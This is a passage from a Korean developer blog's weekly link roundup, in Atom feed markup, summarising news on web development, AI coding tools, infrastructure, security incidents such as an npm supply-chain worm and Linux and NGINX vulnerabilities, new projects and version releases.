&lt;strong&gt;&lt;a href="https://omarchy.org/"&gt;Omarchy&lt;/a&gt; v3.8.0&lt;/strong&gt; : DHH가 만든 Arch Linux의 Hyprland 설정, &lt;a href="https://github.com/basecamp/omarchy/releases/tag/v3.8.0"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://pnpm.js.org/"&gt;pnpm&lt;/a&gt; v11.1.0&lt;/strong&gt; : Node.js 패키지 매니저, &lt;a href="https://github.com/pnpm/pnpm/releases/tag/v11.1.0"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://tailwindcss.com/"&gt;Tailwind CSS&lt;/a&gt; v4.3.0&lt;/strong&gt; : CSS 프레임워크, &lt;a href="https://tailwindcss.com/blog/tailwindcss-v4-3"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://clickhouse.com/"&gt;ClickHouse&lt;/a&gt; v26.4&lt;/strong&gt; : 컬럼형 데이터베이스, &lt;a href="https://clickhouse.com/blog/clickhouse-release-26-04"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://astro.build/"&gt;astro&lt;/a&gt; v6.3&lt;/strong&gt; : JavaScript 웹 프레임워크, &lt;a href="https://astro.build/blog/astro-630/"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://kyverno.io/"&gt;Kyverno&lt;/a&gt; v1.18&lt;/strong&gt; : Kubernetes 정책 엔진, &lt;a href="https://www.cncf.io/blog/2026/05/05/announcing-kyverno-release-1-18/"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://zed.dev/"&gt;Zed&lt;/a&gt; v1.2.3&lt;/strong&gt; : 코드 에디터, &lt;a href="https://zed.dev/releases/stable/1.2.3"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://www.terraform.io/"&gt;Terraform&lt;/a&gt; v1.15.0&lt;/strong&gt; : Infrastructure as Code 도구, &lt;a href="https://github.com/hashicorp/terraform/releases/tag/v1.15.0"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="http://pytorch.org/"&gt;PyTorch&lt;/a&gt; v2.12.0&lt;/strong&gt; : Python 딥러닝 프레임워크, &lt;a href="https://pytorch.org/blog/pytorch-2-12-release-blog/"&gt;릴리스 공지&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.outsider.ne.kr/1793?commentInput=true#entry1793WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://blog.outsider.ne.kr/1793</id>
    <link href="https://blog.outsider.ne.kr/1793"/>
    <summary type="html">&lt;h1&gt;웹개발 관련&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://developer.chrome.com/blog/container-timing-origin-trial?hl=en"&gt;Container Timing origin trial&lt;/a&gt;&lt;/strong&gt; : Chrome 148부터 Container Timing performance API를 실험적으로 사용할 수 있다. Container Timing은 요소가 언제 로드되는지 알 수 있는 Element Timing을 확장해서 콘텐츠 블록이 사용할 수 있는 시점을 파악할 수 있다. 이은 HTML 요소에 &lt;code&gt;containertiming&lt;/code&gt; 속성을 지정해서 해당 요소가 측정해야 함을 알려주고 &lt;code&gt;PerformanceObserver&lt;/code&gt;로 관찰할 수 있다.(영어)&lt;br /&gt;
&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;그 밖의 개발 관련&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://www.jasnell.me/posts/quic-comes-to-node"&gt;QUIC and HTTP/3 Come To Node.js (finally)&lt;/a&gt;&lt;/strong&gt; : 아직 릴리스에 포함되진 않았지만 코드에 &lt;code&gt;--experimental-quic&lt;/code&gt; 플래그를 통한 QUIC, HTTP/3 지원이 Node.js에 들어왔다. 실험적이지만 사용할 수 있게 되었으므로 Node.js에서 Quic을 어떻게 사용할 수 있는지를 설명한다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://antirez.com/news/164"&gt;Redis array type: short story of a long development&lt;/a&gt;&lt;/strong&gt; : antirez가 Redis의 새로운 Array 데이터 타입을 구현했다. LLM을 이용해서 4개월 동안 작업했는데 LLM 없이도 4개월 정도면 구현했겠지만, LLM 덕에 훨씬 더 많은 일을 할 수 있게 되었다. 첫 달에는 사양 문서만 작성했는데 AI와 논의하면서 훨씬 더 진화할 수 있게 되었고 두 번째 달부터 자동 프로그래밍으로 구현을 시작했고, 코드를 한 줄씩 익으면서 비효율이나 오류를 수동이나 AI로 고쳤고 세 번째 달에는 다양하게 스트레스 테스트를 했다. 이러한 과정을 통해서 고품질 시스템 프로그래밍 작업에 여전히 관여해야 하지만 AI가 없었다면 하지 않았을 복잡성 수준에 도전할 수 있었는데 AI는 매우 피곤한 대규모 작업과 복잡한 알고리즘에 버그가 없는지 확인하는 데에 안전망을 제공해 준다는 것을 깨달았다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://rubyinside.com/spinel/"&gt;An Overview of Spinel, Matz's AOT Ruby Compiler&lt;/a&gt;&lt;/strong&gt; : Matz가 예전부터 가지고 있던 아이디어를 최근 Claude Code를 이용해서 한달 만에 Ruby AOT 컴파일러인 &lt;a href="https://github.com/matz/spinel"&gt;Spinel&lt;/a&gt;을 만들었다. Spinel은 Ruby 소스코드를 단독으로 실행할 수 있는 바이너리로 변환하는 AOT 컴파일러로 CRuby보다 상당한 속도를 보여준다. CRuby의 계승자는 아니지만 Ruby 4.0.2와 비교해 봤을 때 YJIT 비활성화 상태보다는 3%, YJIT 활성화 상태보다는 18% 정도의 시간 만에 컴파일이 되는 상당한 속도 차이를 보여주고, 이는 타입 추론을 통해 최적화된 C 코드를 생성하기 때문이다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://stripe.dev/blog/formatting-an-entire-25-million-line-codebase-overnight-the-rubyfmt-story"&gt;Formatting an entire 25 million line codebase overnight: the rubyfmt story&lt;/a&gt;&lt;/strong&gt; : Fable Tales이 과거 RubyConf에서 Ruby 포매터에 대한 논의를 듣고 와서 혼자서 설정이 필요하지 않은 자동 포매터인 &lt;a href="https://github.com/fables-tales/rubyfmt"&gt;rubyfmt&lt;/a&gt;를 만들기 시작했고, 작업에 영향을 주지 않으려고 100ms라는 엄격한 기준을 두고 만들었다. 처음에는 Ruby로 만들었지만 점점 느려져서 Rust로 전환하게 되고 rubyfmt가 완성되진 않았지만, 세계에서 가장 큰 Ruby 코드 베이스를 가진 Stripe에 입사하게 된다. Stripe는 &lt;code&gt;prettier-ruby&lt;/code&gt;를 도입하려고 했지만 너무 느렸기에 Fable Tales에게 &lt;code&gt;rubyfmt&lt;/code&gt;를 적용할 수 있는지 논의를 시작했고, Stripe는 전담 엔지니어를 할당해서 &lt;code&gt;rubyfmt&lt;/code&gt;를 오픈소스로 완성하게 되었다. 처음에는 옵트인 방식으로 포매팅을 적용하고 충돌이 생기지 않게 주말에 작업했지만 결국 Stripe의 4,200만 라인 전체를 &lt;code&gt;rubyfmt&lt;/code&gt;로 포맷했고 아무런 문제가 발생하지 않았다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://x.com/addyosmani/status/2053231239721885918"&gt;Agent Harness Engineering&lt;/a&gt;&lt;/strong&gt; : Google Gemini 팀의 Addy Osmani가 하네스 엔지니어링을 설명한 글이다. 모델 + 하네스를 에이전트라고 할 수 있고 모델을 감싸는 도구, 파일시스템, Git, 랄프 루프, 검증 방법 등이 모두 하네스이고 모델이 실패할 때마다 하네스에 추가해서 실수를 막아야 한다. 하네스를 잘 설계하려면 원하는 동작에서 출발해서 그 동작을 제공하는 컴포넌트를 만드는 것이다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://x.com/Mnilax/status/2053116311132155938"&gt;Karpathy's 4 CLAUDE.md rules cut Claude mistakes from 41% to 11%. After 30 codebases, I added 8 more&lt;/a&gt;&lt;/strong&gt; : Andrej Karpathy가 1월 초에 Claude에 대한 불만을 올렸고 Forrest Chang이 이를 보고 &lt;code&gt;CLAUDE.md&lt;/code&gt; 파일에 4가지 규칙을 정리해서 올렸다. 여기에 8개의 규칙을 더 추가해서 비슷한 성능으로 실수를 크게 줄였다. 각 규칙에 대한 설명과 기존 4개로는 충분하지 않은 상황, 시도했지만 효과가 없었던 방법 등을 설명한다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://www.nianticspatial.com/blog/spz4"&gt;SPZ 4 is here: leaner, faster, and more future-proof&lt;/a&gt;&lt;/strong&gt; : 2024년 Niantic이 3D의 Gaussian spalt의 파일 형식인 SPZ를 공개했는데 더 큰 데이터셋을 지원하는 SPZ 4를 공개했다. SPZ 4는 압축과 로딩속도가 개선되어 인코딩이 3~5배 빨라졌고, 로딩은 1.5~2배가 빨라지고 저장 파일인 PLY 대비 더 작은 파일을 유지한다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://x.com/trq212/status/2052809885763747935"&gt;Using Claude Code: The Unreasonable Effectiveness of HTML&lt;/a&gt;&lt;/strong&gt; : Anthropic에서 Claude Code를 만드는 Thariq Shihiparrk가 기존에는 마크다운을 문서로 많이 사용했지만, 표현력의 한계를 느껴서 이젠 HTML을 더 선호한다고 한다. HTML을 훨씬 읽기 쉽게 구성할 수 있기 때문에 만들어진 문서를 보기도 쉽고 공유하기도 쉬운 데다가 상호작용을 하게 만들 수도 있다. 이해를 돕기 위해 예시로 &lt;a href="https://thariqs.github.io/html-effectiveness/"&gt;The unreasonable effectiveness of HTML&lt;/a&gt; 페이지도 공개했다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://addyosmani.com/blog/agent-skills/"&gt;Agent Skills&lt;/a&gt;&lt;/strong&gt; : 시니어 엔지니어의 업무는 코드 변경 이력에 드러나지 않는 것들이 많은데 이러한 경험을 에이전트에도 적용될 수 있도록 Google Gemini 팀의 Addy Osmani가 &lt;a href="https://github.com/addyosmani/agent-skills"&gt;스킬&lt;/a&gt;을 만들어서 공개했다. 이 스킬에는 소프트웨어 개발 생명주기의 단계를 포함하고 있으면 다음 5가지 원칙을 따르고 있고 이러한 접근은 Google의 관행을 따르고 있다.(영어)&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;서술보다는 프로세스&lt;/li&gt;
&lt;li&gt;하기 싫은 부분을 건너뛰지 않는 합리화지 않도록 반합리화 테이블 작성&lt;/li&gt;
&lt;li&gt;검증은 협상할 부분이 아니다.&lt;/li&gt;
&lt;li&gt;점진적 공개&lt;/li&gt;
&lt;li&gt;범위 규율&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://www.notion.com/ko/blog/introducing-developer-platform"&gt;Notion 개발자 플랫폼을 소개합니다&lt;/a&gt;&lt;/strong&gt; : Notion에서 호스팅 런타임을 &lt;a href="https://www.notion.com/ko/blog/introducing-developer-platform"&gt;Worker로 제공해서&lt;/a&gt; &lt;code&gt;ntn&lt;/code&gt; CLI로 커스텀 로직을 작성하고 배포할 수 있게 되었다. 비즈니스와 엔터프라이즈 플랜에서는 공개 베타를 8월까지 무료로 사용할 수 있다.(한국어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://claude.com/blog/agent-view-in-claude-code"&gt;Agent view in Claude Code&lt;/a&gt;&lt;/strong&gt; : Claude Code에서 세션을 한곳에서 관리할 수 있는 Agent View 기능이 추가되었다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://code.claude.com/docs/en/goal"&gt;Claude Code: Keep Claude working toward a goal&lt;/a&gt;&lt;/strong&gt; : Claude Code가 &lt;code&gt;/goal&lt;/code&gt; 명령어를 통해 완료 조건을 설정하면 조건을 충족할 때까지 작업을 계속 진행할 수 있게 지원한다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.blog/changelog/2026-05-14-github-copilot-app-is-now-available-in-technical-preview/"&gt;GitHub Copilot app is now available in technical preview&lt;/a&gt;&lt;/strong&gt; : GitHub Copilot 데스크톱 앱이 테크니컬 프리뷰로 공개되었다. 현재는 &lt;a href="https://github.com/features/preview/github-app"&gt;대기 리스트에서&lt;/a&gt; 승인받아야 사용할 수 있다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://x.ai/news/grok-build-cli"&gt;Introducing Grok Build&lt;/a&gt;&lt;/strong&gt; : xAI에서 터미널에서 사용할 수 있는 코딩 에이전트 Grok Build를 베타로 공개했고 SuperGrok Heavy 사용자를 대상으로 제공된다.(영어)&lt;br /&gt;
&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;AI 관련&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-1-flash-lite-is-now-generally-available"&gt;Gemini 3.1 Flash-Lite is now generally available on Gemini Enterprise Agent Platform&lt;/a&gt;&lt;/strong&gt; : Google이 비용 효율성이 뛰어난 Gemini 3.1 Flash-Lite를 발표했다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://openai.com/index/advancing-voice-intelligence-with-new-models-in-the-api/"&gt;Advancing voice intelligence with new models in the API&lt;/a&gt;&lt;/strong&gt; : OpenAI가 새로운 오디오 모델 3가지를 API에 도입했다. 더 어려운 요청을 처리하고 자연스러운 대화를 할 수 있는 GPT-Realtime-2, 화자의 속도에 맞춰 70개 이상의 언어를 13개의 언어로 라이브 전역하는 GPT-Realtime-Translate, 화자가 말하는 동안 실시간으로 음성을 텍스트로 전사하는 GPT-Realtime-Whisper를 공개했다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://zed.dev/blog/zeta2-1"&gt;Zeta2.1: 3x Fewer Tokens, 50ms Faster&lt;/a&gt;&lt;/strong&gt; : 코드 에디터인 Zed의 편집 예측 모델인 Zeta2.1이 나왔다. 기존 Zeta2에 비해 30% 더 적은 토큰을 사용하면서 50ms 더 빨라졌다.(영어)&lt;br /&gt;
&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;인프라 관련&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://netflixtechblog.com/state-of-routing-in-model-serving-16e22fe18741"&gt;State of Routing in Model Serving&lt;/a&gt;&lt;/strong&gt; : Netflix에서 중앙 모델 서빙 플랫폼이 필요했는데 상용 솔루션으로는 요구사항을 만족하지 못해서 Switchboard라는 서비스를 직접 구축해서 클라이언트를 통일하고 컨텍스트 인식 라우팅 동적 트래픽 분리, 모델 라이프사이클 관리, 섀도우 테스트 등의 기능을 제공하고 Objectives 개념과 규칙을 도입해서 실험 구성을 서빙 플랫폼 코드와 분리할 수 있게 되었다. 이후 라우팅 제어를 더 세밀하게 하고 싶은데 Envoy만으로는 충분하지 않아서 Lightbulb를 만들어서 개선했다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://aws.amazon.com/ko/blogs/opensource/introducing-trusted-remote-execution-policy-enforced-scripts-for-ai-agents-and-humans/"&gt;Introducing Trusted Remote Execution: Policy-Enforced Scripts for AI Agents and Humans&lt;/a&gt;&lt;/strong&gt; : AWS에서 서버에 원격 실행을 안전하게 할 수 있는 Trusted Remote Execution(Rex)을 공개했다. 이는 Rust용 스크립트 언어와 엔진인 &lt;a href="https://rhai.rs/"&gt;rhai&lt;/a&gt;를 사용하고 정책 관리는 &lt;a href="https://cedarpolicy.com/en"&gt;Cedar&lt;/a&gt;를 사용해서 사람이든 에이전트든 허용된 동작만 원격으로 실행할 수 있게 관리할 수 있다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://learnkube.com/production-best-practices"&gt;Kubernetes production readiness checklist&lt;/a&gt;&lt;/strong&gt; : Kubernetes에 애플리케이션을 프로덕션으로 배포하기 전에 동작, 매니페스트 구성, 보안 등 확인해야 할 부분을 체크리스트로 만들었다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://claude.com/blog/claude-platform-on-aws"&gt;Introducing the Claude Platform on AWS&lt;/a&gt;&lt;/strong&gt; : Claude Platform이 AWS에서 제공되어 AWS 사용자가 AWS 인증과 인프라를 이용해서 Claude 기능을 사용할 수 있게 되었다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://falco.org/blog/introducing-prempti/"&gt;Introducing Prempti: Falco meets AI coding agents&lt;/a&gt;&lt;/strong&gt; : 클라우드 보안 도구인 Falco에서 코딩 에이전트의 액션을 감시하거나 차단하는 등의 액션을 할 수 있는 &lt;a href="https://prempti.falco.org/"&gt;Prempti&lt;/a&gt;를 실험적으로 공개했다.(영어)&lt;br /&gt;
&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;보안 및 장애&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem"&gt;TeamPCP's Mini Shai-Hulud Is Back: A Self-Spreading Supply Chain Attack Compromises TanStack npm Packages&lt;/a&gt;&lt;/strong&gt; : TeamPCP가 OIDC 토큰을 사용해서 GitHub Actions 릴리스 파이프라인을 통해 Mini Shai-Hulud 웜을 포함한 악성 버전을 배포했다. 이는 유효하게 증명된 악성 패키지를 생성한 최초의 npm 웜으로 TanStack을 포함해서 UiPath, DraftLab 등의 170여 개의 패키지를 공격했고, 메모리를 읽어 시크릿과 크리덴셜 등 100개가 넘는 파일 경로에서 자격 증명을 수집하고 리부팅 후에도 훅을 설치했다. TanStack의 공격을 살펴보면 PR의 &lt;code&gt;pull_request_target&lt;/code&gt; 워크플로우를 이용해서 GitHub Actions의 캐시를 오염시키고 이후 메인테이너가 릴리스를 할 때 오염된 캐시를 복원하고 OIDC 토큰을 이용해서 오염된 패키지를 게시했는데 이때 SLSA Level 3 신뢰 증명까지 포함되었다. Tanstack에서 &lt;a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem"&gt;Postmortem을 공개&lt;/a&gt;했다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://daniel.haxx.se/blog/2026/05/11/mythos-finds-a-curl-vulnerability/"&gt;Mythos finds a curl vulnerability&lt;/a&gt;&lt;/strong&gt; : Anthropic의 차세대 모델인 Mythos를 Project Glasswing을 통해 Linux 재단에 제공하면서 curl을 만든 Diniel Stenberg도 Mythos로 분석한 보고서를 받게 되었다. 기존에도 AI 도구를 사용해서 curl을 분석하고 취약점을 10건 이상 수정한 상태였는데 Mythos의 분석으로 5개의 취약점이 나왔지만, curl 보안팀에서는 이를 분석한 결과 3건을 오탐이고 1건은 버그로 판단해서 낮은 심각도로 분류한 1개만 취약점으로 분류했고 Mythos 모델은 약간 과대광고로 보인다고 한다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://vercel.com/blog/introducing-deepsec-find-and-fix-vulnerabilities-in-your-code-base"&gt;Introducing deepsec: The security harness for finding vulnerabilities in your codebase&lt;/a&gt;&lt;/strong&gt; : Vercel에서 코딩 에이전트로 코드 베이스에서 취약점을 찾아내는 보안 하네스 &lt;a href="https://github.com/vercel-labs/deepsec/"&gt;Deepsec&lt;/a&gt;을 오픈소스로 공개했다. Deepsec에서는 Claude와 Codex를 사용할 수 있고 플러그인 시스템으로 사용자 환경에 맞는 규칙을 적용할 수 있다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://www.microsoft.com/en-us/security/blog/2026/05/08/active-attack-dirty-frag-linux-vulnerability-expands-post-compromise-risk/"&gt;Active attack: Dirty Frag Linux vulnerability expands post-compromise risk&lt;/a&gt;&lt;/strong&gt; : Linux에서 새로운 로컬 권한 상승 취약점 &lt;a href="https://github.com/V4bel/dirtyfrag"&gt;Dirty Frag&lt;/a&gt;가 발견되었다. Dirty Frag는 rxrpc, esp/xfrm 네트워킹 및 메모리 단편화 처리 구성 요소를 통해 루트 권한을 획득할 수 있는 취약점이다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/DepthFirstDisclosures/Nginx-Rift"&gt;NGINX Rift&lt;/a&gt;&lt;/strong&gt; : 웹서버 NGINX의 &lt;code&gt;ngx_http_rewrite_module&lt;/code&gt;에서 힙 버퍼 오버플로우를 이용해서 원격 코드 실행을 할 수 있는 취약점이 발견되었다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://mysites.guru/blog/lets-encrypt-issuance-halted-2026-05-08/"&gt;Let's Encrypt Is Down. Renewals Are Next&lt;/a&gt;&lt;/strong&gt; : Let's Encrypt에서 지난 5월 8일 UTC 기준 18:37부터 21:00까지 ACME 엔드포인트가 503을 반환하면서 인증서의 신규 발급과 갱신이 중단되었다.(영어)&lt;br /&gt;
&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;볼만한 링크&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://jdx.dev/posts/2026-04-17-going-full-time-on-open-source/"&gt;Going Full Time on Open Source&lt;/a&gt;&lt;/strong&gt; : 로컬 개발 환경 관리 도구인 &lt;a href="https://mise.jdx.dev/"&gt;mise&lt;/a&gt;를 만든 Jeff Dickey가 mise에 더 집중하기 위해서 Figma에서 퇴사하고 en.dev라는 만들어서 풀타임 오픈소스 개발을 하기로 했다. 수입은 문서 광고와 GitHub Sponsors로 약간 벌지만, 충분치 않기 때문에 멤버십과 스폰서십을 통해 지원받고 컨설팅을 할 것이라고 한다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://simonwillison.net/2026/May/6/vibe-coding-and-agentic-engineering/"&gt;Vibe coding and agentic engineering are getting closer than I’d like&lt;/a&gt;&lt;/strong&gt; : Simon Willison이 코드를 전혀 들여다보지 않고 작성하는 vibe coding과 보안, 유지보수성, 운영, 성능을 고려해서 고품질로 프로덕션 시스템을 만드는 agentic engineering을 구분하고 있었고 vibe coding은 개인 도구라면 괜찮지만, 다른 사람이 사용하는 프로덕션 시스템에 사용하면 무책임하다고 생각해 왔다. 하지만 코딩 에이전트가 더 신뢰할 수 있게 되면서 죄책감이 들면서도 프로덕션 수준의 코드도 모두 검토하지 않게 되고 vibe coding과 agentic engineering의 경계가 모호해지고 있다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://www.jasnell.me/posts/open-source-is-still-art"&gt;OpenSource is still art&lt;/a&gt;&lt;/strong&gt; : Node.js 커미터인 James Snell의 글로 오픈소스와 소프트웨어 개발은 기존에도 단순한 엔지니어링이 아니라 공예이자 예술이었다. AI는 유용한 도구이지만 문제 이해, 설계 판단, 취향, 시스템적 사고는 여전히 숙련된 개발자의 몫이다. 하지만 AI로 인해서 일자리가 줄어들고 코드 학습, 저작권, 편향 같은 윤리적 문제는 커질 수 있다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://addyosmani.com/blog/cognitive-surrender/"&gt;Cognitive Surrender&lt;/a&gt;&lt;/strong&gt; : 인지적 오프로딩(cognitive offloading)은 AI에 위임하되 답에 대한 소유권을 유지하는 것이고 인지적 항복(cognitive surrender)은 AI의 출력물을 그대로 받아들이는 것을 의미하고 논문의 실험에서 대다수가 AI에 인지적 항복을 하는 것으로 나타났다. 소프트웨어 개발에서 인지 항복을 통해 인지 부채를 떠안게 되는데 이는 AI가 부채를 만드는 것이 아니라 AI를 대하는 태도에서 생기는 것이라 인지적 항복을 거부하는 조치를 설명한다.(영어)&lt;br /&gt;
&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;IT 업계 뉴스&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/oven-sh/bun/pull/30412"&gt;Rewrite Bun in Rust&lt;/a&gt;&lt;/strong&gt; : JavaScript/TypeScript 런타임인 Bun이 알려진 대로 Rust로 재작성되었고 백만 라인 이상을 추가한 PR을 머지했다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://x.com/zkochan/status/2054966567692099943"&gt;The Rust rewrite of pnpm was moved to the pnpm repository today&lt;/a&gt;&lt;/strong&gt; : JavaScritp 패키지 매니저인 pnpm을 Rust로 재작성하는 코드가 &lt;a href="https://github.com/pnpm/pnpm/tree/main/pacquet"&gt;pnpm 저장소에 합쳐졌다&lt;/a&gt;.(영어)&lt;br /&gt;
&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;프로젝트&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/antirez/ds4"&gt;ds4.c&lt;/a&gt;&lt;/strong&gt; : Redis의 창시자 Salvatore Sanfilippo가 만든 DeepSeek V4 Flash의 소형 추론 엔진&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/warpdotdev/oz-skills"&gt;Oz Skills&lt;/a&gt;&lt;/strong&gt; : Warp 터미널의 AI 에이전트와 Oz에서 사용하는 에이전트 스킬을 오픈소스로 공개했다.(영어)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/EvanBacon/serve-sim"&gt;serve-sim&lt;/a&gt;&lt;/strong&gt; : Expo 개발자가 만든 Apple 시뮬레이터로 에이전트에서 사용할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://ghostty.zerebos.com/"&gt;Ghostty Config&lt;/a&gt;&lt;/strong&gt; : Ghostty 터미널의 웹 기반 설정 생성기.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://zero-native.dev/"&gt;zero-native&lt;/a&gt;&lt;/strong&gt; : Zig 언어와 웹 UI를 사용해서 데스크톱 앱이나 모바일 앱을 만들 수 있게 하는 도구로 Vercel에서 공개했다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://microsoft.github.io/waza/"&gt;waza&lt;/a&gt;&lt;/strong&gt; : 구조화된 벤치마크로 AI 에이전트 스킬을 평가하는 Go CLI로 Microsoft에서 만들었다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://rustdesk.com/ko/"&gt;rustdesk&lt;/a&gt;&lt;/strong&gt; : 오픈소스 원격 데스크톱 애플리케이션.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/GoogleCloudPlatform/scion"&gt;Scion&lt;/a&gt;&lt;/strong&gt; : 각 에이전트가 컨테이너 안에서 자신만의 워크스페이스 안에서 실행하게 하는 멀티에이전트 테스트베드.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://stakpak.dev/"&gt;Starpak&lt;/a&gt;&lt;/strong&gt; : 코드를 계속 배포할 수 있는 오픈소스 에이전트.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/werf/nelm"&gt;Nelm&lt;/a&gt;&lt;/strong&gt; : &lt;a href="https://github.com/werf/werf"&gt;werf&lt;/a&gt;의 배포 엔진이면서 Helm 4의 대체제로, Helm으로 할 수 있는 걸 다 할 수 있으면서 &lt;code&gt;terraform plan&lt;/code&gt;같은 2 스테이지 배포 지원과 CRD 관리, 시크릿 관리 등의 기능을 지원한다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://better-notify.com/"&gt;Better-Notify&lt;/a&gt;&lt;/strong&gt; : 이메일, SMS, 텔레그램, Slack, Discord에 메시지를 보낼 수 있는 자바스크립트 라이브러리.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/xai-org/x-algorithm"&gt;X For You Feed Algorithm&lt;/a&gt;&lt;/strong&gt; : X의 For You 탭에서 사용하는 추천 시스템&lt;br /&gt;
&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;버전 업데이트&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/rolldown/rolldown"&gt;Rolldown&lt;/a&gt; v1.0.0&lt;/strong&gt; :  JavaScript/TypeScript 번들러, &lt;a href="https://voidzero.dev/posts/announcing-rolldown-1-0"&gt;릴리스 공지&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Vite를 염두에 두고 설계됨.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
